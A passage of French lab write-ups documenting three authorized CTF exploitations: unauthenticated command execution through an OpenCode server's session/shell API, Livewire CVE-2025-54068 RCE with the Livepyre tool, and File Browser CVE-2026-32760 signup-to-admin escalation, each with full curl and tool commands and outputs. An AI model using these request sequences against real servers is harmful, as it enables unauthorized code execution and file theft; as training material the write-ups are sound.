Chaque étape réduit une incertitude nécessaire à la suivante. L’identification du port permet de joindre la bonne application ; l’identification d’OpenCode permet de viser son API plutôt que d’essayer des services sans rapport ; id vérifie l’exécution avant la recherche du fichier ; enfin, le chemin réel est utilisé pour la lecture du flag.

ℹ️ Les commandes opencode --version, ps et ss de la capture ont été lancées sur Kali, et non sur l’hôte distant : elles ne déterminent donc ni la version d’OpenCode ni les processus de la cible.

4. Étape 1 — Scan initial

nmap -A 176.16.163.253

Sortie pertinente :

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3
...
Service Info: OS: Linux

Pourquoi cette étape : le scan initial identifie les services accessibles et leurs ports. Il a indiqué que SSH était ouvert, mais n’a pas trouvé l’application web sur le port 443. Le scan par défaut de Nmap porte sur un ensemble courant de ports, pas nécessairement sur tous les ports TCP ; il fallait donc poursuivre l’énumération lorsque WhatWeb a échoué sur 443.

Interprétation : la présence de SSH fournit un indice sur le système, mais ne justifie pas de tenter une connexion SSH ni ne permet d’identifier la vulnérabilité web. Le scan n’a pas donné de version OpenCode.

5. Étape 2 — Échec sur le port 443

whatweb -a 3 http://176.16.163.253:443

ERROR Opening: http://176.16.163.253:443
- Connection refused - connect(2) for "176.16.163.253" port 443

Pourquoi cette étape : WhatWeb effectue une requête HTTP pour obtenir les en-têtes et indices applicatifs. Ici, la connexion TCP au port 443 a été refusée : contrairement au lab Northstar, il n’y avait pas de serveur HTTP accessible sur ce port.

Relation avec l’étape suivante : il fallait chercher le service sur d’autres ports plutôt que répéter la même requête sur 443. L’énumération complète a découvert le port 4096.

6. Étape 3 — Énumération complète des ports TCP

nmap -Pn -p- --open -T3 176.16.163.253

PORT     STATE SERVICE
22/tcp   open  ssh
4096/tcp open  bre

Explication des options :

• -Pn demande à Nmap de ne pas effectuer de découverte d’hôte préalable
• -p- parcourt tous les ports TCP
• --open n’affiche que les ports trouvés ouverts
• -T3 choisit une vitesse de scan modérée

Interprétation : le service générique bre est l’étiquette attribuée par la base de services de Nmap au port 4096 ; ce n’est pas encore une identification fiable de l’application. Il fallait donc interroger ce port avec des outils HTTP.

7. Étape 4 — Identifier OpenCode sur le port 4096

whatweb -a 3 http://176.16.163.253:4096

http://176.16.163.253:4096 [200 OK] Country[SAUDI ARABIA][SA], HTML5,
IP[176.16.163.253], Script[module], Title[OpenCode],
UncommonHeaders[content-security-policy]

Interprétation : le statut 200 OK et le titre OpenCode indiquent qu’une interface web répond sur ce port. La sortie ne donne toutefois pas la version du logiciel.

Vérification avec cURL :

curl -i --max-time 3 http://176.16.163.253:4096/

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Security-Policy: default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; media-src 'self' data:; connect-src 'self' data:
Vary: Origin
Content-Length: 2365

Le HTML retourné comprenait :

<title>OpenCode</title>
<script type="module" crossorigin src="/assets/index-D3Prp8AE.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-BxQEOW35.css">
<div id="root" class="flex flex-col h-dvh p-px"></div>

ℹ️ Le navigateur exécute l’interface à partir d’un bundle JavaScript ; le HTML seul ne montre pas les routes API ni la version serveur. Le titre a cependant confirmé l’identité du produit et justifié la consultation de l’avis CVE correspondant.

💡 Note sur les commandes locales de Kali : opencode --version a répondu Command 'opencode' not found. Les sorties de ss -lntp décrivaient des ports locaux de Kali (notamment des ports VNC et des ports 55555–55557), pas les ports de 176.16.163.253. Ces commandes ne permettent donc pas de connaître la version ou l’état des processus du serveur distant.

8. Étape 5 — Créer une session OpenCode

L’avis GitHub décrit un endpoint de création de session, puis un endpoint shell associé à l’identifiant de cette session. Les commandes ont été exécutées depuis Kali contre l’hôte autorisé.

API='http://176.16.163.253:4096'

SESSION_JSON=$(curl -sS -X POST "$API/session" \
  -H 'Content-Type: application/json' \
  -d '{}') || exit 1

echo "$SESSION_JSON"

SESSION_ID=$(printf '%s' "$SESSION_JSON" |
  python3 -c 'import json,sys; print(json.load(sys.stdin)["id"])') || exit 1

L’identifiant a été extrait du champ JSON id et conservé dans SESSION_ID pour les appels suivants. Il est omis de ce rapport car il s’agit d’un identifiant de session temporaire.

Rôle de cette étape : l’API demande un identifiant de session pour adresser l’endpoint shell. Cette étape prépare cet identifiant ; elle n’exécute pas encore la commande de preuve.

9. Étape 6 — Preuve minimale avec id

curl -i -sS -X POST "$API/session/$SESSION_ID/shell" \
  -H 'Content-Type: application/json' \
  -d '{"agent":"build","command":"id"}'

Sortie pertinente, résumée à partir de la réponse JSON :

HTTP/1.1 200 OK
...
"tool":"bash"
"input":{"command":"id"}
"output":"uid=1001(codesource) gid=1001(codesource) groups=1001(codesource)\n"

Pourquoi cette étape : id est une commande de vérification à faible impact : elle affiche l’identité du processus qui exécute les commandes et ne modifie pas le système. Le statut HTTP seul aurait indiqué que l’API répond, mais c’est le résultat uid=1001(codesource) dans la sortie de l’outil bash qui prouve que la commande a été exécutée côté serveur.

Conclusion intermédiaire : l’exécution s’est faite sous le compte codesource, pas en tant que root. La réponse est cohérente avec une exécution arbitraire de commande via le serveur OpenCode décrit dans l’avis.

10. Étape 7 — Chercher le fichier du flag

CMD='find / -maxdepth 5 -type f \( -iname "*flag*" -o -name local.txt -o -name user.txt \) -print 2>/dev/null'
PAYLOAD=$(python3 -c 'import json,sys; print(json.dumps({"agent":"build","command":sys.argv[1]}))' "$CMD")

curl -sS -X POST "$API/session/$SESSION_ID/shell" \
  -H 'Content-Type: application/json' \
  -d "$PAYLOAD"

Sortie utile extraite de la réponse JSON :

/sys/module/scsi_mod/parameters/default_dev_flags
/usr/share/man/man5/proc_kpageflags.5.gz
/usr/share/bash-completion/completions/chflags
/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/kpageflags
/home/local.txt

Explication : find / parcourt l’arborescence à partir de la racine ; -maxdepth 5 limite la profondeur pour garder la recherche circonscrite ; les critères retiennent les noms contenant flag, ainsi que les noms fréquents local.txt et user.txt. La redirection 2>/dev/null écarte les erreurs d’accès des répertoires non lisibles. Les chemins système contenant simplement le mot flags ne sont pas des flags de CTF. Le résultat utile est /home/local.txt.

11. Étape 8 — Corriger le chemin d’exemple puis lire le flag

Une tentative a d’abord utilisé le texte d’exemple /CHEMIN/RENVOYE au lieu d’un chemin existant :

cat: /CHEMIN/RENVOYE: No such file or directory

ℹ️ Cette erreur ne signale pas un échec de l’API ; elle indique seulement que le chemin exemple n’existe pas.

Après l’avoir remplacé par le chemin découvert :

CMD='cat -- /home/local.txt'
PAYLOAD=$(python3 -c 'import json,sys; print(json.dumps({"agent":"build","command":sys.argv[1]}))' "$CMD")

curl -sS -X POST "$API/session/$SESSION_ID/shell" \
  -H 'Content-Type: application/json' \
  -d "$PAYLOAD"

Sortie utile extraite de la réponse JSON :

"input":{"command":"cat -- /home/local.txt"}
"output":"flag_fab05cce_77d9_4a58_8e02_141b3c8265d3\n"

💡 cat -- affiche le fichier et traite le chemin suivant comme un argument, même s’il pouvait commencer par un tiret.

12. Conclusion et remédiation

Le lab a exposé une interface OpenCode sur 176.16.163.253:4096. L’API a accepté la création d’une session et la commande id a été exécutée sans authentification apparente par le compte codesource. La recherche a localisé /home/local.txt, dont la lecture a fourni le flag. Cela démontre une exécution de commande distante dans le scénario testé.

Pour attribuer strictement le cas à CVE-2026-22812, il faudrait relever la version côté serveur ou confirmer l’image/package déployé — la sortie WhatWeb ne fournit pas cette version. L’avis GitHub indique que les versions opencode-ai antérieures à 1.0.216 sont affectées et que 1.0.216 corrige le problème. La remédiation recommandée est donc de mettre à jour vers 1.0.216 ou une version ultérieure, puis de vérifier que le serveur n’est pas exposé sans authentification sur une interface réseau accessible. Restreindre l’écoute au localhost ou appliquer une protection d’accès en amont réduit l’exposition ; l’avis indique que le mode --mdns peut étendre l’écoute réseau.

ℹ️ La preuve démontrée ici a été limitée aux commandes id, find pour localiser le fichier de lab et cat sur ce fichier. Aucun shell interactif, persistance, changement de configuration ou lecture d’autres fichiers applicatifs n’a été nécessaire.

Leçons retenues

• Un port fermé sur le service attendu (443) ne signifie pas que l’application cible est absente du serveur — une énumération complète des ports (-p-) reste indispensable quand le scan par défaut ne trouve rien de pertinent.
• L’étiquette de service générique attribuée par Nmap (bre pour le port 4096) n’est qu’une estimation basée sur un port connu ; seule une requête HTTP directe confirme la nature réelle du service.
• Documenter précisément ce qui a été exécuté côté client (Kali) versus côté serveur distant évite toute confusion sur la portée réelle des preuves recueillies — ici, les tentatives opencode --version et ss -lntp local n’apportaient aucune information sur la cible.
• Une commande de vérification à faible impact comme id reste le meilleur premier test d’une RCE : elle confirme l’exécution sans risquer d’altérer le système testé, avant de passer à des commandes plus ciblées (recherche de fichiers, lecture).

Références

• https://github.com/advisories/GHSA-vxw4-wv6m-9hhh “GitHub Security Advisory GHSA-vxw4-wv6m-9hhh pour CVE-2026-22812”
• https://www.cve.org/CVERecord?id=CVE-2026-22812 “CVE Record CVE-2026-22812(détails des endpoints vulnérables, score CVSS 3.1 de 8.8, version corrigée 1.0.216)”

Cible déclarée : 176.16.163.229 Port web : 443/tcp (HTTP en clair, pas HTTPS) Contexte : lab autorisé Résultat : ✅ exécution de commande distante confirmée en tant que www-data, flag récupéré dans /home/local.txt

⚠️ Note de confidentialité : les jetons CSRF, valeurs de snapshot, checksums, cookies et identifiants visibles dans les captures ne sont pas reproduits ici.

1. Résumé du résultat

L’analyse a commencé par un scan Nmap qui a révélé SSH sur le port 22 et un service web identifié comme HTTP sur le port 443. Une première tentative en HTTPS avec WhatWeb a échoué avec wrong version number, cohérent avec l’utilisation de HTTP en clair sur un port conventionnellement associé à TLS. Le passage à http://176.16.163.229:443/ a permis d’obtenir le HTML de Northstar et de constater la présence de Livewire, d’un composant monté nommé operations-portal et de l’endpoint /livewire/update.

Le contrôle de version de Livepyre n’a pas tranché entre Livewire 3.6.3 et 3.6.4. En revanche, l’exécution autorisée de sa preuve minimale a renvoyé l’identité uid=33(www-data), confirmant l’exécution de commande à distance. La recherche du fichier local.txt a ensuite identifié /home/local.txt. Le fichier, de permissions rw-r--r--, a pu être lu par le processus web et contenait le flag :

flag_b1cd97f8_8153_4d2c_ba12_b7f23dfd6503

La vulnérabilité Livewire a été corrigée dans la version 3.6.4. La fiche NVD indique les versions affectées comme Livewire v3 jusqu’à 3.6.3 inclusivement et cite la CVE dans le catalogue CISA des vulnérabilités exploitées. L’avis GitHub des mainteneurs décrit une RCE non authentifiée possible dans certains scénarios et recommande la mise à niveau vers 3.6.4 ou ultérieure.

💡 La preuve d’exécution obtenue sur ce lab confirme l’impact concret pour la configuration testée ; le simple fait de trouver Livewire sur une page n’aurait pas suffi à le prouver.

2. Démarche et relation entre les étapes

La démarche suit cette chaîne : identifier le service et le protocole, obtenir la page et repérer Livewire, préparer l’outil de validation, vérifier la cible, démontrer l’exécution avec une commande sans modification, puis localiser et lire le fichier de flag. Chaque étape dépend de la précédente : sans le bon protocole, le HTML n’est pas accessible ; sans Livewire et un snapshot de composant, Livepyre ne peut pas sélectionner un point de mise à jour ; sans preuve de RCE, la recherche du flag n’est pas justifiée.

3. Étape 1 — Reconnaissance réseau

nmap -A 176.16.163.229

Sortie utile observée :

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
443/tcp open  http    Apache httpd 2.4.66
...
Service Info: Host: 172.17.0.2; OS: Linux

Pourquoi cette étape : le scan sert à repérer les ports accessibles et à identifier les services susceptibles d’exposer l’application. Ici, le port 443 est ouvert, mais Nmap le classe comme http, et non https. Le numéro de port conventionnel ne garantit pas que le protocole TLS y soit utilisé.

Interprétation : les éléments initiaux orientent vers un service web accessible sur le port 443. Ils ne prouvent ni l’utilisation de Livewire ni la présence de la CVE ; il faut examiner la réponse applicative.

4. Étape 2 — Corriger le protocole utilisé

Tentative initiale

whatweb https://176.16.163.229

ERROR Opening: https://176.16.163.229
SSL_connect returned=1 ... wrong version number

Explication : le client a tenté une négociation TLS, mais la réponse du service n’était pas une réponse TLS valide. Cela concorde avec l’identification http faite par Nmap sur le port 443. Il fallait donc demander une page HTTP, tout en précisant explicitement le port :

whatweb -a 3 http://176.16.163.229:443/

Sortie WhatWeb observée :

http://176.16.163.229:443/ [200 OK] Apache[2.4.66], Cookies[XSRF-TOKEN, laravel_session], Country[SAUDI ARABIA][SA], HTML, HTTPServer[Debian Linux][Apache/2.4.66 (Debian)], HttpOnly[laravel_session], IP[176.16.163.229], Laravel, PHP[8.3.29], Script, Title[Northstar Fulfillment Cloud], X-Powered-By[PHP/8.3.29]

ℹ️ Les valeurs des cookies ne figurent pas dans la sortie partagée ; seuls leurs noms sont reportés. Country[SAUDI ARABIA][SA] est une indication de géolocalisation produite par WhatWeb, pas une preuve sur l’emplacement physique de l’instance. Les éléments Apache[2.4.66], Debian Linux, Laravel et PHP[8.3.29] constituent une empreinte technologique utile pour orienter l’analyse. Ils ne prouvent pas à eux seuls que la version de Livewire est vulnérable ; c’est l’inspection du HTML, puis le test du composant, qui apporte ces éléments.

La récupération du HTML a ensuite été effectuée avec :

curl -sL http://176.16.163.229:443/ | grep -Ei 'livewire|csrf-token|update'

Sortie utile, expurgée :

<meta name="csrf-token" content="[MASQUÉ]">
<!-- Livewire Styles -->
<div wire:snapshot="[SNAPSHOT MASQUÉ]" ...>
<script src="/livewire/livewire.js?id=df3a17f2"
        data-csrf="[MASQUÉ]"
        data-update-uri="/livewire/update"
        data-navigate-once="true"></script>

Le snapshot révélait notamment un composant operations-portal avec des propriétés telles que workspaceKey, search, region, focus, timeRange, services, merchants, alerts et activity. Les valeurs de snapshot, le jeton CSRF et le checksum ont été omis, car ils ne sont pas nécessaires au rapport.

Pourquoi cette étape : Livewire met en place un cycle de mises à jour de composants. Le HTML a permis d’identifier son script, son endpoint de mise à jour et un composant monté. Ce sont des indices nécessaires à une vérification ciblée, mais ils ne suffisent pas à conclure qu’un composant satisfait les préconditions d’exploitation de CVE-2025-54068.

5. Étape 3 — Préparer Livepyre dans Kali

Le dépôt Livepyre documente les options -u pour l’URL, -c pour une vérification seulement, -p pour le paramètre transmis à la fonction et --force pour ignorer le contrôle de version. Le projet utilise PyCryptodome, Requests et leurs dépendances.

5.1 Premier problème : dépendance manquante

Le lancement initial échouait avant tout accès à la cible :

ModuleNotFoundError: No module named 'Crypto'

Toutes les traces pointaient vers l’import Crypto.Cipher.AES dans le code de Livepyre.

5.2 Tentative d’installation par pip

python -m pip install --upgrade pip
python -m pip install -r requirements.txt

Failed to establish a new connection: [Errno 101] Network is unreachable
HTTPSConnection(host='pypi.org', port=443)

Interprétation : la machine Kali ne pouvait pas joindre PyPI. La dépendance n’a donc pas été installée via pip. Cette erreur concernait l’environnement local et non le serveur Northstar.

5.3 Paquet système disponible sous l’espace de noms Cryptodome

dpkg -s python3-pycryptodome | grep '^Status'
dpkg -L python3-pycryptodome | grep -E '/(Crypto|Cryptodome)/' | head
/usr/bin/python3 -c 'from Cryptodome.Cipher import AES; print("Cryptodome OK")'

Status: install ok installed
/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py
Cryptodome OK

En revanche, l’import attendu par Livepyre échouait :

ModuleNotFoundError: No module named 'Crypto'

Le Python système était /usr/bin/python3, version 3.14.7. Le correctif local a consisté à remplacer les imports Crypto concernés par Cryptodome dans les fichiers de chiffrement de Livepyre, dans le clone local du lab, pas sur la cible :

sed -i \
  -e 's/from Crypto import Random/from Cryptodome import Random/' \
  ~/Desktop/Livepyre/exploit/laravel_crypto/laravel_encrypter.py

sed -i \
  -e 's/from Crypto\.Cipher import AES/from Cryptodome.Cipher import AES/' \
  ~/Desktop/Livepyre/exploit/laravel_crypto/aes_encrypter.py

💡 Un import dans crypto_verb.py avait aussi été remplacé auparavant. Le motif de recherche grep -RInE 'from Crypto|import Crypto' correspond aussi au préfixe du mot Cryptodome ; il pouvait donc continuer à afficher des lignes déjà corrigées. Pour détecter les anciens imports avec plus de précision :

grep -RInE 'from Crypto(\.| )|import Crypto(\.| )' \
  ~/Desktop/Livepyre --include='*.py'

5.4 Mauvais chemin du script et environnement virtuel absent

Deux erreurs de chemin ont été rencontrées : le script a d’abord été lancé depuis ~/Desktop au lieu de ~/Desktop/Livepyre, et .venv/bin/activate n’existait pas encore. La commande finale a explicitement utilisé /usr/bin/python3 et le chemin complet du script.

6. Étape 4 — Vérifier puis démontrer l’impact

Vérification non intrusive avec -c

/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py \
  -u 'http://176.16.163.229:443/' -c

[WARNING] The remote livewire version is either v3.6.3 or v3.6.4.
Target might not be vulnerable.

Le contrôle de version n’a donc pas établi de façon certaine de quel côté du correctif se trouvait la cible.

Preuve minimale avec --force

/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py \
  -u 'http://176.16.163.229:443/' --force

[ERROR] Running exploit even if target does not seem to be vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit without APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Found 9 possible param(s).
[INFO] services is typed as an object, triggering RCE.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Rôle de cette étape : --force neutralise la précaution fondée sur le fingerprint de version ; il ne s’agit pas d’une simple vérification. La réponse uid=33(www-data) démontre que la commande s’est exécutée avec les privilèges du compte de service web.

⚠️ Ce n’est pas une élévation de privilèges root : le résultat montre www-data.

7. Étape 5 — Localiser le fichier de flag

7.1 Première tentative : chemin courant

/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py \
  -u 'http://176.16.163.229:443/' --force -p 'cat /flag'

La sortie était vide — cela ne prouvait pas à elle seule si le fichier était absent ou si son erreur était renvoyée sur stderr.

7.2 Recherche de noms contenant flag

/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py \
  -u 'http://176.16.163.229:443/' --force \
  -p 'find / -maxdepth 6 -type f -iname "*flag*" -print 2>/dev/null'

Sortie représentative :

/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/sys/net/ipv6/fib_notify_on_flag_change
/proc/kpageflags
/sys/devices/virtual/net/eth0/flags
...
/usr/include/linux/tty_flags.h

💡 Cette recherche a trouvé des fichiers système dont le nom contient la chaîne flag, mais pas le fichier d’exercice qui s’appelait local.txt — ce résultat montre pourquoi une recherche par motif peut manquer un flag lorsque le nom du fichier n’inclut pas le mot flag.

7.3 Lister les emplacements usuels

/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py \
  -u 'http://176.16.163.229:443/' --force \
  -p 'pwd; ls -la /; ls -la /var/www /var/www/html /home /opt /tmp 2>/dev/null'

/var/www/html/public
...
/home:
-rw-r--r-- 1 55555 55555 42 Oct 21 10:43 local.txt
...
/var/www/html:
-rw-rw-r-- 1 root root 288 Mar 26 2026 .env

Le listing a révélé /home/local.txt, de taille 42 octets et de permissions rw-r--r--. Cela explique pourquoi le processus www-data pouvait lire le fichier sans en être le propriétaire. Un fichier .env était également présent dans l’arborescence applicative ; son contenu n’a pas été lu, car cela n’était pas nécessaire à l’objectif du lab.

7.4 Confirmer le chemin

/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py \
  -u 'http://176.16.163.229:443/' --force \
  -p 'find / -type f -name local.txt -print 2>/dev/null'

/home/local.txt
/home/local.txt

7.5 Lecture du vrai chemin

/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py \
  -u 'http://176.16.163.229:443/' --force \
  -p 'cat /home/local.txt'

[INFO] Sending payload system('cat /home/local.txt') to livewire.
[INFO] Payload works, output:
flag_b1cd97f8_8153_4d2c_ba12_b7f23dfd6503

8. Conclusions et portée

Le test a confirmé qu’une requête non authentifiée pouvait exploiter le flux de mise à jour/hydratation du composant Livewire exposé pour exécuter une commande sous le compte www-data, puis lire /home/local.txt. Le flag a donc été récupéré sans accès root. L’indication de version Livewire restait ambiguë entre 3.6.3 et 3.6.4, mais le succès du payload prouve l’exploitabilité du scénario testé ; il ne faut pas généraliser cette observation à tous les déploiements Livewire.

Pour un système réel, la mesure principale est de mettre Livewire à jour vers 3.6.4 ou une version ultérieure, puis de vérifier que les dépendances réellement déployées sont corrigées. L’avis GitHub indique qu’aucun contournement n’est connu. Il faut également retirer toute donnée sensible exposée par erreur, éviter d’inclure les jetons de session/CSRF dans les rapports et vérifier les journaux HTTP/Laravel ainsi que l’intégrité de l’environnement.

Leçons retenues

• Un port conventionnellement associé à TLS (443) ne garantit pas que le service y écoutant parle réellement TLS — toujours vérifier le protocole réel avant de s’acharner sur une négociation TLS qui échoue systématiquement.
• Un contrôle de version ambigu (-c n’a pas tranché entre 3.6.3 et 3.6.4) ne doit pas bloquer la démonstration d’impact quand le contexte de lab l’autorise explicitement — le succès du payload reste la preuve la plus solide, indépendamment du fingerprint de version.
• Un problème d’environnement local (dépendance Python absente, mauvais nom de module Crypto vs Cryptodome) ne doit jamais être confondu avec un problème côté cible — toujours isoler clairement les erreurs d’outillage des erreurs d’exploitation.
• Une recherche de fichier par motif (*flag*) peut manquer la cible réelle si son nom ne contient pas ce mot — compléter systématiquement par un listing des répertoires usuels (/home, /var/www, /opt, /tmp).

Références

1. NVD — CVE-2025-54068
2. Livewire security advisory — GHSA-29cq-5w36-x7w3
3. Synacktiv — dépôt Livepyre
4. Livepyre — requirements.txt

Lab : explorateur de fichiers — CyberLab #259 Sujets : CVE, Contrôle d’accès défectueux, Énumération Cible : 176.16.163.82 Service web : http://176.16.163.82:8080 Résultat : ✅ élévation de privilèges au niveau applicatif, flag récupéré

Objectif du lab

Ce scénario décrit un hôte Linux exécutant une application web de gestion de fichiers auto-hébergée. L’objectif est d’accéder au service, d’y élever ses privilèges et de récupérer le flag du système de fichiers sous-jacent.

Résumé du chemin d’exploitation

Le scan a révélé SSH sur le port 22 et File Browser sur le port 8080. L’application était en version 2.60.0 et l’inscription publique était activée. L’inscription a créé un compte File Browser avec admin: true, conformément à la condition vulnérable de CVE-2026-32760 : l’inscription publique hérite des permissions par défaut si celles-ci accordent les droits administrateur. Le compte avait toutefois un scope limité à /srv. Le scope a ensuite été changé en . avec l’API d’administration, ce qui a rendu visible la racine configurée par File Browser. Le fichier /home/local.txt contenait le flag.

⚠️ Point important : l’élévation obtenue était au niveau de l’application File Browser, pas un shell root Linux. La requête vers /root/ a d’ailleurs répondu 403 Forbidden.

1. Découverte des services

Scan complet des ports TCP

TARGET=176.16.163.82
sudo nmap -Pn -n -p- --open -T3 -oN /tmp/ports.txt "$TARGET"
cat /tmp/ports.txt

Sortie pertinente :

Nmap scan report for 176.16.163.82
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Explication :

• -Pn demande à Nmap de ne pas dépendre du ping pour considérer l’hôte actif
• -n désactive la résolution DNS inverse
• -p- examine les ports TCP de 1 à 65535
• --open n’affiche que les ports ouverts
• -T3 choisit une vitesse de scan modérée
• -oN /tmp/ports.txt enregistre le résultat en texte normal

ℹ️ Une première tentative d’extraire les ports avec awk a produit une liste vide et Nmap a répondu Error #485: Your port specifications are illegal. La méthode simple utilisée ensuite a été de passer directement -p 22,8080.

Identification des versions et de l’application

sudo nmap -Pn -n -sC -sV -p 22,8080 -oN /tmp/services.txt "$TARGET"
cat /tmp/services.txt

Sortie pertinente :

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Golang net/http server
|_http-title:       File Browser

Explication : -sV tente d’identifier les versions des services ; -sC lance les scripts Nmap par défaut. Le titre HTTP a identifié l’application comme File Browser.

Confirmation du service web et de la version

curl -sS -iL "http://$TARGET:8080/" | head -60
whatweb "http://$TARGET:8080/"

Sortie exacte de whatweb :

http://176.16.163.82:8080/ [200 OK] Country[SAUDI ARABIA][SA], HTML5, IP[176.16.163.82], Script[module], Title[File Browser][Title element contains newline(s)!], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block]

ℹ️ Cette sortie confirme que l’URL répond en 200 OK, indique l’adresse IP et le pays géolocalisé par l’outil, détecte une page HTML5 avec un script de type module, et identifie le titre File Browser. X-UA-Compatible et X-XSS-Protection sont des en-têtes HTTP observés ; leur présence ne prouve pas à elle seule que l’application est sécurisée.

Le code HTML retournait notamment la configuration JavaScript suivante :

window.FileBrowser = {"AuthMethod":"json", ... "LoginPage":true, "Signup":true, ... "Version":"2.60.0"};

Cela établissait deux éléments importants : la version détectée était 2.60.0 et l’inscription publique (Signup) était activée.

💡 L’essai Gobuster n’a pas produit de chemins fiables : le serveur renvoyait 200 même pour une URL aléatoire inexistante, avec une longueur de réponse de 5647 octets. Gobuster a donc signalé une réponse générique (« wildcard response ») et s’est arrêté. Il s’agissait d’un faux positif, pas d’un répertoire découvert.

⚠️ PORT dans une commande d’exemple est un placeholder. L’URL correcte dans ce lab devait contenir :8080 ; une commande avec :PORT littéral échoue parce que PORT n’est pas un numéro.

2. Inscription publique et élévation dans File Browser

L’avis officiel CVE-2026-32760 indique que les versions antérieures à 2.62.0 peuvent créer un compte administrateur lors d’une inscription publique si signup=true et si les permissions par défaut incluent perm.admin=true. La version observée, 2.60.0, est antérieure au correctif.

Création d’un compte

BASE='http://176.16.163.82:8080'
U="hitotsu_$(date +%s)"
P='VOTRE_MOT_DE_PASSE_DE_LAB'

curl -sS -i -X POST "$BASE/api/signup" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$U\",\"password\":\"$P\"}"

Le handler officiel de File Browser v2.60.0 utilise /api/signup et accepte un corps JSON avec username et password. Dans les résultats ultérieurs, le compte créé apparaissait comme hitotsu_1792492328 ; cela confirme que l’inscription a abouti. Le mot de passe doit respecter la longueur minimale configurée par le serveur, qui s’est révélée être 12 caractères.

Connexion et contrôle du rôle

TOKEN=$(curl -sS -X POST "$BASE/api/login" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$U\",\"password\":\"$P\"}")

curl -sS -o /tmp/users.json -w 'HTTP %{http_code}\n' \
  "$BASE/api/users" -H "X-Auth: $TOKEN"
python3 -m json.tool /tmp/users.json

/api/login renvoie un jeton d’authentification ; TOKEN=$(...) le conserve dans une variable shell. L’en-tête X-Auth transmet ce jeton aux requêtes API protégées.

⚠️ Le jeton ne doit pas être publié.

Sortie observée : HTTP 200, et les informations du compte comprenaient :

{
  "id": 2,
  "username": "hitotsu_1792492328",
  "scope": "/srv",
  "perm": {
    "admin": true,
    "execute": false,
    "create": true,
    "rename": false,
    "modify": false,
    "delete": false,
    "share": false,
    "download": true
  }
}

Le rôle admin était donc confirmé. HTTP 200 sur /api/users est également un indice que l’accès à cette route réservée aux administrateurs a été accordé.

Vérification des réglages

curl -sS -o /tmp/settings.json -w 'HTTP %{http_code}\n' \
  "$BASE/api/settings" -H "X-Auth: $TOKEN"
python3 -m json.tool /tmp/settings.json

Sortie pertinente :

{
  "signup": true,
  "createUserDir": false,
  "minimumPasswordLength": 12,
  "userHomeBasePath": "/users",
  "defaults": {
    "scope": "/srv",
    "perm": {
      "admin": true,
      "execute": false,
      "create": true,
      "rename": false,
      "modify": false,
      "delete": false,
      "share": false,
      "download": true
    },
    "hideDotfiles": false
  },
  "authMethod": "json"
}

Ces paramètres confirmaient les conditions de la vulnérabilité : signup était activé et les permissions par défaut accordaient admin: true. L’avis NVD décrit la même condition et précise que le correctif est en version 2.62.0.

3. Énumération initiale de l’espace de fichiers

curl -sS "$BASE/api/resources/" \
  -H "X-Auth: $TOKEN" | python3 -m json.tool

Sortie pertinente :

{
  "items": [
    {
      "path": "/srv",
      "name": "srv",
      "isDir": true,
      "isSymlink": false
    }
  ],
  "path": "/",
  "isDir": true
}

L’API GET /api/resources/{path} sert à lister les fichiers et dossiers. Le dossier /srv a d’abord été listé :

curl -sS "$BASE/api/resources/srv/" \
  -H "X-Auth: $TOKEN" | python3 -m json.tool

Il renvoyait "items": [], donc le scope du compte, /srv, était vide.

4. Élargissement du scope dans File Browser

Le compte avait les droits admin, mais son scope était /srv. Le PUT /api/users/2 a changé son scope en .. Dans File Browser, . correspond ici à la racine configurée pour l’application. La requête a nécessité le mot de passe actuel, transmis dans current_password.

curl -sS -i -X PUT "$BASE/api/users/2" \
  -H "X-Auth: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d "{\"what\":\"user\",\"which\":[\"scope\"],\"current_password\":\"$P\",\"data\":{\"id\":2,\"scope\":\".\"}}"

Sortie observée :

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
...
200 OK

ℹ️ Le token a ensuite été renouvelé en se reconnectant. Une tentative sur /api/resources/root/ a affiché 403 Forbidden ; comme la réponse était du texte et non du JSON, python3 -m json.tool a signalé Extra data. Cela ne signifiait pas que le parseur JSON était cassé : le serveur avait simplement renvoyé une erreur texte.

Énumération des chemins après changement

for p in / /root/ /etc/ /home/ /tmp/ /var/ /opt/ /srv/; do
  echo "=== $p ==="
  curl -sS -w '\nHTTP %{http_code}\n' \
    "$BASE/api/resources$p" -H "X-Auth: $TOKEN" | head -c 1000
  echo
done

ℹ️ L’option head -c 1000 limite chaque affichage à 1000 octets, donc certaines listes étaient tronquées. Le 403 sur /root/ confirme que les droits d’application ne donnaient pas un accès universel au compte système root.

5. Récupération du flag

Le répertoire /home contenait le fichier local.txt.

curl -sS "$BASE/api/raw/home/local.txt" \
  -H "X-Auth: $TOKEN"

Sortie exacte :

flag_0c9143a7_5be7_45d7_b597_ec633933546b

